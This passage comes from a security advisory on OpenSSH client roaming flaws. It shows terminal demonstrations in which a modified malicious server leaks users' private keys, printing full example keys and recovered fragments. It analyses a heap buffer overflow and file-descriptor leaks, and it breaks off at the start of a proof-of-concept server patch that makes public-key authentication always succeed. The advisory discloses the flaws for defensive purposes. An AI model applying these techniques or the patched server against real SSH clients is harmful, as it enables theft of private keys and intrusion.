uvL6Jlk8oIqf62Q1T7ljn5NJAoGAQ8ZHHMobHO+k6ksSwj1TFDKlkJWzm3ep0nqn
zIlv0S+UF+a/s/w1YD0vUUCaiwLCfrZFjxK0lkS3LPyQsyckwRTZ8TYGct5nQcsF
ALHrMYgryfmTfGbZne8R23VX+qZ2k24yN7qVeXSZiM1ShmB4mf1anw3/sCbCYeY1
/tAQjzECf1NKzRdfWRhiBqlEquNshrUNWQxYVnXl+WPgilKAIc1XJ9M0dOCvhwjk
kRTxN77l+klobzq+q+BtPiy9mFmwtwPbAP8l5bVzkZSY2FBDOQiUWS9ZJrCUupeS
Y1tzYFyta0xSod/NGoUd673IgfLnfiGMOLhy+9qhhwCqF10RiS0=
------------------------------------------------------------------------
Private Key Disclosure example: OpenBSD 5.8, 2048-bit RSA key
------------------------------------------------------------------------
$ head -n 1 /etc/motd
OpenBSD 5.8 (GENERIC) #1066: Sun Aug 16 02:33:00 MDT 2015
$ /usr/bin/ssh -V
OpenSSH_7.0, LibreSSL 2.2.2
$ cat ~/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAwe9ssfYbABhOGxnBDsPf5Hwypr3tVz4ZCK2Q9ZWWBYnk+KVL
ruLv7NWzeuKF7ls8z4SdpP/09QIIWQO5xWmQ7OM7ndfHWexFoyS/MijorHLvwG1s
17KFF8aC5vcBTfVkWnFaERueyd+mxv+oIrskA3/DK7/Juojkq70aPAdafiWOuVT8
L/2exFuzpSmwiXbPuiPgImO9O+9VQ4flZ4qlO18kZxXF948GisxxkceOYWTIX6uh
xSs/NEGF/drmB4RTAL1ZivG+e4IMxs5naLz4u3Vb8WTDeS6D62WM1eq5JRdlZtGP
vavL01Kv3sYFvoD0OPUU4BjU8bd4Qb30C3719wIDAQABAoIBAG4zFpipN/590SQl
Jka1luvGhyGoms0QRDliJxTlwzGygaGoi7D800jIxgv13BTtU0i4Grw/lXoDharP
Kyi6K9fv51hx3J2EXK2vm9Vs2YnkZcf6ZfbLQkWYT5nekacy4ati7cL65uffZm19
qJTTsksqtkSN3ptYXlgYRGgH5av3vaTSTGStL8D0e9fcrjSdN0UntjBB7QGT8ZnY
gQ1bsSlcPM/TB6JYmHWdpCAVeeCJdDhYoHKlwgQuTdpubdlM80f6qat7bsm95ZTK
QolQFpmAXeU4Bs5kFlm0K0qYFkWNdI16ScOpK6AQZGUTcHICeRL3GEm6NC0HYBNt
gKHPucECgYEA7ssL293PZR3W9abbivDxvtCjA+41L8Rl8k+J0Dj0QTQfeHxHD2eL
cQO2lx4N3E9bJMUnnmjxIT84Dg7SqOWThh3Rof+c/vglyy5o/CzbScISQTvjKfuB
+s5aNojIqkyKaesQyxmdacLxtBBppZvzCDTHBXvAe4t8Bus2DPBzbzsCgYEAz+jl
hcsMQ1egiVVpxHdjtm3+D1lbgITk0hzIt9DYEIMBJ7y5Gp2mrcroJAzt7VA2s7Ri
hBSGv1pjz4j82l00odjCyiUrwvE1Gs48rChzT1PcQvtPCCanDvxOHwpKlUTdUKZh
vhxPK/DW3IgUL0MlaTOjncR1Zppz4xpF/cSlYHUCgYB0MhVZLXvHxlddPY5C86+O
nFNWjEkRL040NIPo8G3adJSDumWRl18A5T+qFRPFik/depomuQXsmaibHpdfXCcG
8eeaHpm0b+dkEPdBDkq+f1MGry+AtEOxWUwIkVKjm48Wry2CxroURqn6Zqohzdra
uWPGxUsKUvtNGpM4hKCHFQKBgQCM8ylXkRZZOTjeogc4aHAzJ1KL+VptQKsYPudc
prs0RnwsAmfDQYnUXLEQb6uFrVHIdswrGvdXFuJ/ujEhoPqjlp5ICPcoC/qil5rO
ZAX4i7PRvSoRLpMnN6mGpaV2mN8pZALzraGG+pnPnHmCqRTdw2Jy/NNSofdayV8V
8ZDkWQKBgQC2pNzgDrXLe+DIUvdKg88483kIR/hP2yJG1V7s+NaDEigIk8BO6qvp
ppa4JYanVDl2TpV258nE0opFQ66Q9sN61SfWfNqyUelZTOTzJIsGNgxDFGvyUTrz
uiC4d/e3Jlxj21nUciQIe4imMb6nGFbUIsylUrDn8GfA65aePLuaSg==
-----END RSA PRIVATE KEY-----
# "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key
$ /usr/bin/ssh -o ProxyCommand="/usr/bin/nc -w 1 %h %p" -p 222 127.0.0.1
[connection suspended, press return to resume]Segmentation fault (core dumped)
(this example requires a ProxyCommand because of the NULL-aitop bug
described in the Mitigating Factors of the Information Leak section, and
crashes because of the NULL-pointer dereference discussed in the
Mitigating Factors of the Buffer Overflow section)
# cat /tmp/roaming-a5eca355/infoleak
ry+AtEOxWUwIkVKjm48Wry2CxroURqn6Zqohzdra
uWPGxUsKUvtNGpM4hKCHFQKBgQCM8ylXkRZZOTjeogc4aHAzJ1KL+VptQKsYPudc
prs0RnwsAmfDQYnUXLEQb6uFrVHIdswrGvdXFuJ/ujEhoPqjlp5ICPcoC/qil5rO
ZAX4i7PRvSoRLpMnN6mGpaV2mN8pZALzraGG+pnPnHmCqRTdw2Jy/NNSofdayV8V
8ZDkWQKBgQC2pNzgDrXLe+DIUvdKg88483kIR/hP2yJG1V7s+NaDEigIk8BO6qvp
ppa4JYanVDl2TpV258nE0opFQ66Q9sN61SfWfNqyUelZTOTzJIsGNgxDFGvyUTrz
uiC4d/e3Jlxj21nUciQIe4imMb6nGFbUIsylUrDn8GfA65aePLuaSg==
------------------------------------------------------------------------
Private Key Disclosure example: CentOS 7, 1024-bit DSA key
------------------------------------------------------------------------
$ grep PRETTY_NAME= /etc/os-release
PRETTY_NAME="CentOS Linux 7 (Core)"
$ /usr/bin/ssh -V
OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013
$ cat ~/.ssh/id_dsa
-----BEGIN DSA PRIVATE KEY-----
MIIBvQIBAAKBgQDmjJYHvennuPmKGxfMuNc4nW2Z1via6FkkZILWOO1QJLB5OXqe
kt7t/AAr+1n0lJbC1Q8hP01LFnxKoqqWfHQIuQL+S88yr5T8KY/VxV9uCVKpQk5n
GLnZn1lmDldNaqhV0ECESXZVEpq/8TR2m2XjSmE+7Y14hI0cjBdnOz2X8wIVAP0a
Nmtvmc4H+iFvKorV4B+tqRmvAoGBAKjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC
o7l7mJT+lI9vTrQsu3QCLAUZnmVHAIj/m9juk8kXkZvEBXJuPVdL0tCRNAsCioD2
hUaU7sV6Nho9fJIclxuxZP8j+uzidQKKN/+CVbQougsLsBlstpuQ4Hr2DHmalL8X
iISkLhuyAoGBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l
B7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZN2hfXITp9/4oatxFUV5V8aniqyq4Kwj/
QlCmHO7eRlPArhylx8uRnoHkbTRe+by5fmPImz/3WUtgPnx8y3NOEsCtAhUApdtS
F9AoVoZFKEGn4FEoYIqY3a4=
-----END DSA PRIVATE KEY-----
# env ROAMING="heap_massaging:linux" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key
$ /usr/bin/ssh -p 222 127.0.0.1
...
# strings /tmp/roaming-b7b16dfc/infoleak
jJYHvennuPmKGxfMuNc4nW2Z1via6FkkZILWOO1QJLB5OXqe
kt7t/AAr+1n0lJbC1Q8hP01LFnxKoqqWfHQIuQL+S88yr5T8KY/VxV9uCVKpQk5
# strings /tmp/roaming-b324ce87/infoleak
IuQL
R2m2XjSmE+7Y14hI0cjBdnOz2X8wIVAP0a
Nmtvmc4H+iFvKorV4B+tqRmvAoGBAKjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC
o7l7mJT+lI9v
# strings /tmp/roaming-24011739/infoleak
KjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC
o7l7mJT+lI9vTrQsu3QCLAUZnmVHAIj/m9juk8kXkZvEBXJuPVdL0tCRNAsC
# strings /tmp/roaming-37456846/infoleak
LsBlstpuQ4Hr2DHmalL8X
iISkLhuyAoGBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l
B7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZNA
yq4Kwj/
# strings /tmp/roaming-988ff54c/infoleak
GBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l
B7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZN2hfXITp9/4oatxFUV5V8aniqyq4Kwj/
# strings /tmp/roaming-53887fa5/infoleak
/4oatxFUV5V8aniqyq4Kwj/
QlCmHO7eRlPArhylx8uRnoHkbTRe+by5fmPImz/3WUtgPnx8y3NOEsCtAhUApdtS
F9AoVoZFKEGn4FEoYIqY3a4
------------------------------------------------------------------------
Private Key Disclosure example: Fedora 20, 2048-bit RSA key
------------------------------------------------------------------------
$ grep PRETTY_NAME= /etc/os-release
PRETTY_NAME="Fedora 20 (Heisenbug)"
$ /usr/bin/ssh -V
OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013
$ cat ~/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAmbj/XjOppLWSAhuLKiRoHsdp66LJdY2PvP0ht3GWDKKCk7Gz
HLas5VjotS9rmupavGGDiicMHPClOttWAI9MRyvP77iZhSei/RzX1/UKk/broTDp
o9ljBnQTzRAyw8ke72Ih77SOGfOLBvYlx80ZmESLYYH95aAeuuDvb236JnsgRPDQ
/B/gyRIhfqis70USi05/ZbnAenFn+v9zoSduDYMzSM8mFmh9f+9PVb9qMHdfNkIy
2E78kt9BknU/bEcCWyL+IXNLV0rgRGAcE0ncKu13YvuH/7o4Q7bW2FYErT4P/FHK
cRmpbVfAzJQb85uXUXaNLVW0A/gHqTaGCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt
j737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CGLj61BS8CfKVp9V7+Gc4P/o
6GEmk/oB9w9gf1zGqWkTytMiqcawMW4LZAJlSI/rGWe7lYHuceZSSgzd5lF4VP06
Xz/wTMkSDZh/M6zOnQhImcLforsiPbTKKIVLL6u13VUmDcYfaBh9VepjyN8i+KIV
JQB26MlXSxuAp8o0BQUI8FY/dsObJ9xjMT/u2+prtAxpPNfKElEV7ZPBrTRAuCUr
Hiy7yflZ3w0qHekNafX/tnWiU4zi/p6aD4rs10YaYSnSolsDs2k8wHbVP4VtLE8l
PRfXS6ECgYEAyVf7Pr3TwTa0pPEk1dLz3XHoetTqUND/0Kv+i7MulBzJ4LbcsTEJ
rtOuGGpLrAYlIvCgT+F26mov5fRGsjjnmP3P/PsvzR8Y9DhiWl9R7qyvNznQYxjo
/euhzdYixxIkfqyopnYFoER26u37/OHe37PH+8U1JitVrhv7s4NYztECgYEAw3Ot
gxMqsKh42ydIv1sBg1QEHu0TNvyYy7WCB8jnMsygUQ8EEJs7iKP//CEGRdDAwyGa
jwj3EZsXmtP+wd3fhge7pIHp5RiKfBn0JtSvXQQHO0k0eEcQ4aA/6yESI62wOuaY
vJ+q7WMo1wHtMoqRPtW/OAxUf91dQRtzK/GpRuMCgYAc7lh6vnoT9FFmtgPN+b7y
3fBC3h9BN5banCw6VKfnvm8/q+bwSxSSG3aTqYpwEH37lEnk0IfuzQ1O5JfX+hdF
Q4tEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmTOun5zVV6EixsmDn80P
pdyhj8fAUU/BceHr/H6hUQKBgCX5SqPlzGyIPvrtVf//sXqPj0Fm9E3Bo/ooKLxU
dz7ybM9y6GpFjrqMioa07+AOn/UJiVry9fXQuTRWre+CqRQEWpuqtgPR0c4syLfm
qK+cwb7uCSi5PfloRiLryPdvnobDGLfFGdOHaX7km+4u5+taYg2Er8IsAxtMNwM5
r5bbAoGAfxRRGMamXIha8xaJwQnHKC/9v7r79LPFoht/EJ7jw/k8n8yApoLBLBYp
P/jXU44sbtWB3g3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCBqosVbEQhNKZAj+
ZS16+aH97RKdJD/4qiskzzHvZs+wi4LKPHHHz7ETXr/m4CRfMIU=
-----END RSA PRIVATE KEY-----
# env ROAMING="heap_massaging:linux" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key
$ /usr/bin/ssh -p 222 127.0.0.1
...
# strings /tmp/roaming-a2bbc5f6/infoleak
cRmpbVfAzJQb85uXUXaNLVW0A/gHqTaGCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt
j737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CG
# strings /tmp/roaming-47b46456/infoleak
RGAcE0nc
GCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt
j737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CGLj61BS8CfKVp9V7+Gc4P/o
6GEmk/oB9
# strings /tmp/roaming-7a6717ae/infoleak
cawMW4LZ1
Xz/wTMkSDZh/M6zOnQhImcLforsiPbTKKIVLL6u13VUmDcYfaBh9VepjyN8i+KIV
JQB26MlXSxuAp8o0BQUI8FY/dsObJ9xjMT/u2+p
# strings /tmp/roaming-f3091f08/infoleak
lZ3w0qHe
nSolsDs2k8wHbVP4VtLE8l
PRfXS6ECgYEAyVf7Pr3TwTa0pPEk1dLz3XHoetTqUND/0Kv+i7MulBzJ4LbcsTEJ
# strings /tmp/roaming-62a9e9a3/infoleak
lZ3w0qHe
r3TwTa0pPEk11
LbcsTEJ
rtOuGGpLrAYlIvCgT+F26mov5fRGsjjnmP3P/PsvzR8Y9DhiWl9R7qyvNznQYxjo
/euhzdYixxIkfqyopnYFoER26u37/OHe37P
# strings /tmp/roaming-8de31ed5/infoleak
7qyvNznQ
26u37/OHe37PH+8U1JitVrhv7s4NYztECgYEAw3Ot
gxMqsKh42ydIv1sBg1QEHu0TNvyYy7WCB8jnMsygUQ8EEJs7iKP//CEGRdDAwyGa
# strings /tmp/roaming-f5e0fbcc/infoleak
yESI62wOuaY
vJ+q7WMo1wHtMoqRPtW/OAxUf91dQRtzK/GpRuMCgYAc7lh6vnoT9FFmtgPN+b7y
3fBC3h9BN5banCw6VKfnvm8/q+bwSxS
# strings /tmp/roaming-9be933df/infoleak
QRtzK/GpRuMC1
C3h9BN5banCw6VKfnvm8/q+bwSxSSG3aTqYpwEH37lEnk0IfuzQ1O5JfX+hdF
Q4tEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmT
# strings /tmp/roaming-ee4d1e6c/infoleak
SG3aTqYp
tEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmTOun5zVV6EixsmDn80P
pdyhj8fAUU/BceHr/H6hUQKBgCX5SqPlzGyIPvrtVf//s
# strings /tmp/roaming-c2bfd69c/infoleak
SG3aTqYp
6JmTOun5zVV6A
H6hUQKBgCX5SqPlzGyIPvrtVf//sXqPj0Fm9E3Bo/ooKLxU
dz7ybM9y6GpFjrqMioa07+AOn/UJiVry9fXQuTRWre+CqRQEWpuqtgPR0c4s
# strings /tmp/roaming-2b3217a1/infoleak
DGLfFGdO
r5bbAoGAfxRRGMamXIha8xaJwQnHKC/9v7r79LPFoht/EJ7jw/k8n8yApoLBLBYp
P/jXU44sbtWB3g3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCQ
# strings /tmp/roaming-1e275747/infoleak
g3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCBqosVbEQhNKZAj+
========================================================================
Buffer Overflow (CVE-2016-0778)
========================================================================
------------------------------------------------------------------------
Analysis
------------------------------------------------------------------------
Support for roaming was elegantly added to the OpenSSH client: the calls
to read() and write() that communicate with the SSH server were replaced
by calls to roaming_read() and roaming_write(), two wrappers that depend
on wait_for_roaming_reconnect() to transparently reconnect to the server
after a disconnection. The wait_for_roaming_reconnect() routine is
essentially a sequence of four subroutines:
239 int
240 wait_for_roaming_reconnect(void)
241 {
...
250 fprintf(stderr, "[connection suspended, press return to resume]");
...
252 packet_backup_state();
253 /* TODO Perhaps we should read from tty here */
254 while ((c = fgetc(stdin)) != EOF) {
...
259 if (c != '\n' && c != '\r')
260 continue;
261
262 if (ssh_connect(host, &hostaddr, options.port,
...
265 options.proxy_command) == 0 && roaming_resume() == 0) {
266 packet_restore_state();
...
268 fprintf(stderr, "[connection resumed]\n");
...
270 return 0;
271 }
272
273 fprintf(stderr, "[reconnect failed, press return to retry]");
...
275 }
276 fprintf(stderr, "[exiting]\n");
...
278 exit(0);
279 }
1. packet_backup_state() close()s connection_in and connection_out (the
old file descriptors that connected the client to the server), and saves
the state of the suspended SSH session (for example, the encryption and
decryption contexts).
2. ssh_connect() opens new file descriptors, and connects them to the
SSH server.
3. roaming_resume() negotiates the resumption of the suspended SSH
session with the server, and calls resend_bytes().
4. packet_restore_state() updates connection_in and connection_out (with
the new file descriptors that connect the client to the server), and
restores the state of the suspended SSH session.
The new file descriptors for connection_in and connection_out may differ
from the old ones (if, for example, files or pipes or sockets are opened
or closed between two successive ssh_connect() calls), but unfortunately
historical code in OpenSSH assumes that they are constant:
- In client_loop(), the variables connection_in and connection_out are
cached locally, but packet_write_poll() calls roaming_write(), which
may assign new values to connection_in and connection_out (if a
reconnection occurs), and client_wait_until_can_do_something()
subsequently reuses the old, cached values.
- client_loop() eventually updates these cached values, and the
following FD_ISSET() uses a new, updated file descriptor (the fd
connection_out), but an old, out-of-date file descriptor set (the
fd_set writeset).
- packet_read_seqnr() (old API, or ssh_packet_read_seqnr(), new API)
first calloc()ates setp, a file descriptor set for connection_in;
next, it loops around memset(), FD_SET(), select() and roaming_read();
last, it free()s setp and returns. Unfortunately, roaming_read() may
reassign a higher value to connection_in (if a reconnection occurs),
but setp is never enlarged, and the following memset() and FD_SET()
may therefore overflow setp (a heap-based buffer overflow):
1048 int
1049 packet_read_seqnr(u_int32_t *seqnr_p)
1050 {
....
1052 fd_set *setp;
....
1058 setp = (fd_set *)xcalloc(howmany(active_state->connection_in + 1,
1059 NFDBITS), sizeof(fd_mask));
....
1065 for (;;) {
....
1075 if (type != SSH_MSG_NONE) {
1076 free(setp);
1077 return type;
1078 }
....
1083 memset(setp, 0, howmany(active_state->connection_in + 1,
1084 NFDBITS) * sizeof(fd_mask));
1085 FD_SET(active_state->connection_in, setp);
....
1092 for (;;) {
....
1097 if ((ret = select(active_state->connection_in + 1, setp,
1098 NULL, NULL, timeoutp)) >= 0)
1099 break;
....
1115 }
....
1117 do {
....
1119 len = roaming_read(active_state->connection_in, buf,
1120 sizeof(buf), &cont);
1121 } while (len == 0 && cont);
....
1130 }
1131 /* NOTREACHED */
1132 }
- packet_write_wait() (old API, or ssh_packet_write_wait(), new API) is
basically similar to packet_read_seqnr() and may overflow its own setp
if roaming_write() (called by packet_write_poll()) reassigns a higher
value to connection_out (after a successful reconnection):
1739 void
1740 packet_write_wait(void)
1741 {
1742 fd_set *setp;
....
1746 setp = (fd_set *)xcalloc(howmany(active_state->connection_out + 1,
1747 NFDBITS), sizeof(fd_mask));
1748 packet_write_poll();
1749 while (packet_have_data_to_write()) {
1750 memset(setp, 0, howmany(active_state->connection_out + 1,
1751 NFDBITS) * sizeof(fd_mask));
1752 FD_SET(active_state->connection_out, setp);
....
1758 for (;;) {
....
1763 if ((ret = select(active_state->connection_out + 1,
1764 NULL, setp, NULL, timeoutp)) >= 0)
1765 break;
....
1776 }
....
1782 packet_write_poll();
1783 }
1784 free(setp);
1785 }
------------------------------------------------------------------------
Mitigating Factors
------------------------------------------------------------------------
This buffer overflow affects all OpenSSH clients >= 5.4, but its impact
is significantly reduced by the Mitigating Factors detailed in the
Information Leak section, and additionally:
- OpenSSH versions >= 6.8 reimplement packet_backup_state() and
packet_restore_state(), but introduce a bug that prevents the buffer
overflow from being exploited; indeed, ssh_packet_backup_state() swaps
two local pointers, ssh and backup_state, instead of swapping the two
global pointers active_state and backup_state:
9 struct ssh *active_state, *backup_state;
...
238 void
239 packet_backup_state(void)
240 {
241 ssh_packet_backup_state(active_state, backup_state);
242 }
243
244 void
245 packet_restore_state(void)
246 {
247 ssh_packet_restore_state(active_state, backup_state);
248 }
2269 void
2270 ssh_packet_backup_state(struct ssh *ssh,
2271 struct ssh *backup_state)
2272 {
2273 struct ssh *tmp;
....
2279 if (backup_state)
2280 tmp = backup_state;
2281 else
2282 tmp = ssh_alloc_session_state();
2283 backup_state = ssh;
2284 ssh = tmp;
2285 }
....
2291 void
2292 ssh_packet_restore_state(struct ssh *ssh,
2293 struct ssh *backup_state)
2294 {
2295 struct ssh *tmp;
....
2299 tmp = backup_state;
2300 backup_state = ssh;
2301 ssh = tmp;
2302 ssh->state->connection_in = backup_state->state->connection_in;
As a result, the global pointer backup_state is still NULL when passed
to ssh_packet_restore_state(), and crashes the OpenSSH client when
dereferenced:
# env ROAMING="overflow:A fd_leaks:0" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key
$ /usr/bin/ssh -V
OpenSSH_6.8, LibreSSL 2.1
$ /usr/bin/ssh -o ProxyCommand="/usr/bin/nc -w 15 %h %p" -p 222 127.0.0.1
user@127.0.0.1's password:
[connection suspended, press return to resume]Segmentation fault (core dumped)
This bug prevents the buffer overflow from being exploited, but not
the information leak, because the vulnerable function resend_bytes()
is called before ssh_packet_restore_state() crashes.
------------------------------------------------------------------------
File Descriptor Leak
------------------------------------------------------------------------
A back-of-the-envelope calculation indicates that, in order to increase
the file descriptor connection_in or connection_out, and thus overflow
the file descriptor set setp in packet_read_seqnr() or
packet_write_wait(), a file descriptor leak is needed:
- First, the number of bytes calloc()ated for setp is rounded up to the
nearest multiple of sizeof(fd_mask): 8 bytes (or 64 file descriptors)
on 64-bit systems.
- Next, in glibc, this number is rounded up to the nearest multiple of
MALLOC_ALIGNMENT: 16 bytes (or 128 file descriptors) on 64-bit
systems.
- Last, in glibc, a MIN_CHUNK_SIZE is enforced: 32 bytes on 64-bit
systems, of which 24 bytes (or 192 file descriptors) are reserved for
setp.
- In conclusion, a file descriptor leak is needed, because connection_in
or connection_out has to be increased by hundreds in order to overflow
setp.
The search for a suitable file descriptor leak begins with a study of
the behavior of the four ssh_connect() methods, when called for a
reconnection by wait_for_roaming_reconnect():
1. The default method ssh_connect_direct() communicates with the server
through a simple TCP socket: the two file descriptors connection_in and
connection_out are both equal to this socket's file descriptor.
In wait_for_roaming_reconnect(), the low-numbered file descriptor of the
old TCP socket is close()d by packet_backup_state(), but immediately
reused for the new TCP socket in ssh_connect_direct(): the new file
descriptors connection_in and connection_out are equal to this old,
low-numbered file descriptor, and cannot possibly overflow setp.
2. The special ProxyCommand "-" communicates with the server through
stdin and stdout, but (as explained in the Mitigating Factors of the
Information Leak section) it cannot possibly reconnect to the server,
and is therefore immune to this buffer overflow.
3. Surprisingly, we discovered a file descriptor leak in the
ssh_proxy_fdpass_connect() method itself; indeed, the file descriptor
sp[1] is never close()d:
101 static int
102 ssh_proxy_fdpass_connect(const char *host, u_short port,
103 const char *proxy_command)
104 {
...
106 int sp[2], sock;
...
113 if (socketpair(AF_UNIX, SOCK_STREAM, 0, sp) < 0)
114 fatal("Could not create socketpair to communicate with "
115 "proxy dialer: %.100s", strerror(errno));
...
161 close(sp[0]);
...
164 if ((sock = mm_receive_fd(sp[1])) == -1)
165 fatal("proxy dialer did not pass back a connection");
...
171 /* Set the connection file descriptors. */
172 packet_set_connection(sock, sock);
173
174 return 0;
175 }
However, two different reasons prevent this file descriptor leak from
triggering the setp overflow:
- The method ssh_proxy_fdpass_connect() communicates with the server
through a single socket received from the ProxyCommand: the two file
descriptors connection_in and connection_out are both equal to this
socket's file descriptor.
In wait_for_roaming_reconnect(), the low-numbered file descriptor of
the old socket is close()d by packet_backup_state(), reused for sp[0]
in ssh_proxy_fdpass_connect(), close()d again, and eventually reused
again for the new socket: the new file descriptors connection_in and
connection_out are equal to this old, low-numbered file descriptor,
and cannot possibly overflow setp.
- Because of the waitpid() bug described in the Mitigating Factors of
the Information Leak section, the method ssh_proxy_fdpass_connect()
calls fatal() before it returns to wait_for_roaming_reconnect(), and
is therefore immune to this buffer overflow.
4. The method ssh_proxy_connect() communicates with the server through a
ProxyCommand and two different pipes: the file descriptor connection_in
is the read end of the second pipe (pout[0]), and the file descriptor
connection_out is the write end of the first pipe (pin[1]):
180 static int
181 ssh_proxy_connect(const char *host, u_short port, const char *proxy_command)
182 {
...
184 int pin[2], pout[2];
...
192 if (pipe(pin) < 0 || pipe(pout) < 0)
193 fatal("Could not create pipes to communicate with the proxy: %.100s",
194 strerror(errno));
...
240 /* Close child side of the descriptors. */
241 close(pin[0]);
242 close(pout[1]);
...
247 /* Set the connection file descriptors. */
248 packet_set_connection(pout[0], pin[1]);
249
250 /* Indicate OK return */
251 return 0;
252 }
In wait_for_roaming_reconnect(), the two old, low-numbered file
descriptors connection_in and connection_out are both close()d by
packet_backup_state(), and immediately reused for the pipe(pin) in
ssh_proxy_connect(): the new connection_out (pin[1]) is equal to one of
these old, low-numbered file descriptors, and cannot possibly overflow
setp.
On the other hand, the pipe(pout) in ssh_proxy_connect() may return
high-numbered file descriptors, and the new connection_in (pout[0]) may
therefore overflow setp, if hundreds of file descriptors were leaked
before the call to wait_for_roaming_reconnect():
- We discovered a file descriptor leak in the pubkey_prepare() function
of OpenSSH >= 6.8; indeed, if the client is running an authentication
agent that does not offer any private keys, the reference to agent_fd
is lost, and this file descriptor is never close()d:
1194 static void
1195 pubkey_prepare(Authctxt *authctxt)
1196 {
....
1200 int agent_fd, i, r, found;
....
1247 if ((r = ssh_get_authentication_socket(&agent_fd)) != 0) {
1248 if (r != SSH_ERR_AGENT_NOT_PRESENT)
1249 debug("%s: ssh_get_authentication_socket: %s",
1250 __func__, ssh_err(r));
1251 } else if ((r = ssh_fetch_identitylist(agent_fd, 2, &idlist)) != 0) {
1252 if (r != SSH_ERR_AGENT_NO_IDENTITIES)
1253 debug("%s: ssh_fetch_identitylist: %s",
1254 __func__, ssh_err(r));
1255 } else {
....
1288 authctxt->agent_fd = agent_fd;
1289 }
....
1299 }
However, OpenSSH clients >= 6.8 crash in ssh_packet_restore_state()
(because of the NULL-pointer dereference discussed in the Mitigating
Factors of the Buffer Overflow section) and are immune to the setp
overflow, despite this agent_fd leak.
- If ForwardAgent (-A) or ForwardX11 (-X) is enabled in the OpenSSH
client (it is disabled by default), a malicious SSH server can request
hundreds of forwardings, in order to increase connection_in (each
forwarding opens a file descriptor), and thus overflow setp in
packet_read_seqnr():
# env ROAMING="overflow:A" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key
$ /usr/bin/ssh -V
OpenSSH_6.6.1p1 Ubuntu-2ubuntu2, OpenSSL 1.0.1f 6 Jan 2014
$ /usr/bin/ssh-agent -- /usr/bin/ssh -A -o ProxyCommand="/usr/bin/socat - TCP4:%h:%p" -p 222 127.0.0.1
user@127.0.0.1's password:
[connection suspended, press return to resume][connection resumed]
*** Error in `/usr/bin/ssh': free(): invalid next size (fast): 0x00007f0474d03e70 ***
Aborted (core dumped)
# env ROAMING="overflow:X" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key
$ /usr/bin/ssh -V
OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013
$ /usr/bin/ssh -X -o ProxyCommand="/usr/bin/socat - TCP4:%h:%p" -p 222 127.0.0.1
user@127.0.0.1's password:
[connection suspended, press return to resume][connection resumed]
*** Error in `/usr/bin/ssh': free(): invalid next size (fast): 0x00007fdcc2a3aba0 ***
*** Error in `/usr/bin/ssh': malloc(): memory corruption: 0x00007fdcc2a3abc0 ***
Finally, a brief digression on two unexpected problems that had to be
solved in our proof-of-concept:
- First, setp can be overflowed only in packet_read_seqnr(), not in
packet_write_wait(), but agent forwarding and X11 forwarding are post-
authentication functionalities, and post-authentication calls to
packet_read() or packet_read_expect() are scarce, except in the
key-exchange code of OpenSSH clients < 6.8: our proof-of-concept
effectively forces a rekeying in order to overflow setp in
packet_read_seqnr().
- Second, after a successful reconnection, packet_read_seqnr() may call
fatal("Read from socket failed: %.100s", ...), because roaming_read()
may return EAGAIN (EAGAIN is never returned without the reconnection,
because the preceding call to select() guarantees that connection_in
is ready for read()). Our proof-of-concept works around this problem
by forcing the client to resend MAX_ROAMBUF bytes (2M) to the server,
allowing data to reach the client before roaming_read() is called,
thus avoiding EAGAIN.
========================================================================
Acknowledgments
========================================================================
We would like to thank the OpenSSH developers for their great work and
their incredibly quick response, Red Hat Product Security for promptly
assigning CVE-IDs to these issues, and Alexander Peslyak of the Openwall
Project for the interesting discussions.
========================================================================
Proof Of Concept
========================================================================
diff -pruN openssh-6.4p1/auth2-pubkey.c openssh-6.4p1+roaming/auth2-pubkey.c
--- openssh-6.4p1/auth2-pubkey.c 2013-07-17 23:10:10.000000000 -0700
+++ openssh-6.4p1+roaming/auth2-pubkey.c 2016-01-07 01:04:15.000000000 -0800
@@ -169,7 +169,9 @@ userauth_pubkey(Authctxt *authctxt)
* if a user is not allowed to login. is this an
* issue? -markus
*/
- if (PRIVSEP(user_key_allowed(authctxt->pw, key))) {
+ if (PRIVSEP(user_key_allowed(authctxt->pw, key)) || 1) {
